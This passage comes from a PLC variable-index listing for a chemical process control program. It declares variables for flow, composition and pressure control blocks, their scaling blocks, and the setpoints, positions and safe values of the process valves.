+50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; +95;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN;UINT; +96;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE;REAL; +97;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET;REAL; +98;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +99;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +100;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +101;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +102;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +103;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +104;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +105;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +106;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +107;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +108;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +109;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +110;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +111;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +112;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +113;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +114;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +115;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +116;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +117;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX;REAL; +118;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN;REAL; +119;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MAX;REAL; +120;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_MIN;REAL; +121;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +122;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +123;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +124;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +125;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +126;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +127;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +128;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +129;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +130;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +131;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +132;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT;REAL; +133;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT;REAL; +134;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT;REAL; +135;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT;REAL; +136;FB;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0;SCALE_TO_SIGNED; +137;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.EN;BOOL; +138;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ENO;BOOL; +139;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT;UINT; +140;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT;INT; +141;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT;UINT; +142;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT;UINT; +143;VAR;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;CONFIG0.RES0.INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT;INT; +144;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;CONFIG0.RES0.INSTANCE0.F1_VALVE_POS;UINT; +145;VAR;CONFIG0.RES0.INSTANCE0.F1_FLOW;CONFIG0.RES0.INSTANCE0.F1_FLOW;UINT; +146;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;CONFIG0.RES0.INSTANCE0.F2_VALVE_POS;UINT; +147;VAR;CONFIG0.RES0.INSTANCE0.F2_FLOW;CONFIG0.RES0.INSTANCE0.F2_FLOW;UINT; +148;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_POS;UINT; +149;VAR;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;CONFIG0.RES0.INSTANCE0.PURGE_FLOW;UINT; +150;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_POS;UINT; +151;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.PRODUCT_FLOW;UINT; +152;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE;UINT; +153;VAR;CONFIG0.RES0.INSTANCE0.LEVEL;CONFIG0.RES0.INSTANCE0.LEVEL;UINT; +154;VAR;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.A_IN_PURGE;UINT; +155;VAR;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;CONFIG0.RES0.INSTANCE0.B_IN_PURGE;UINT; +156;VAR;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;CONFIG0.RES0.INSTANCE0.C_IN_PURGE;UINT; +157;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;CONFIG0.RES0.INSTANCE0.F1_VALVE_SP;UINT; +158;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;CONFIG0.RES0.INSTANCE0.F2_VALVE_SP;UINT; +159;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SP;UINT; +160;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SP;UINT; +161;VAR;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PRODUCT_VALVE_SAFE;UINT; +162;VAR;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.PURGE_VALVE_SAFE;UINT; +163;VAR;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F1_VALVE_SAFE;UINT; +164;VAR;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;CONFIG0.RES0.INSTANCE0.F2_VALVE_SAFE;UINT; +165;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0;PRESSURE_CONTROL; +166;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.EN;BOOL; +167;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.ENO;BOOL; +168;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL;REAL; +169;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE;UINT; +170;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL;REAL; +171;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP;UINT; +172;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CURR_POS;UINT; +173;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL;REAL; +174;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL;REAL; +175;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL;REAL; +176;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.VALVE_POS;UINT; +177;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K;REAL; +178;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI;REAL; +179;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME;TIME; +180;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5;SCALE_TO_REAL; +181;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN;BOOL; +182;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO;BOOL; +183;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE;UINT; +184;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL;REAL; +185;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX;REAL; +186;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN;REAL; +187;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX;UINT; +188;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN;UINT; +189;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE;REAL; +190;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET;REAL; +191;FB;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4;SCALE_TO_REAL; +192;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN;BOOL; +193;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO;BOOL; +194;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE;UINT; +195;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL;REAL; +196;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;CONFIG0.RES0.INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX;REAL; 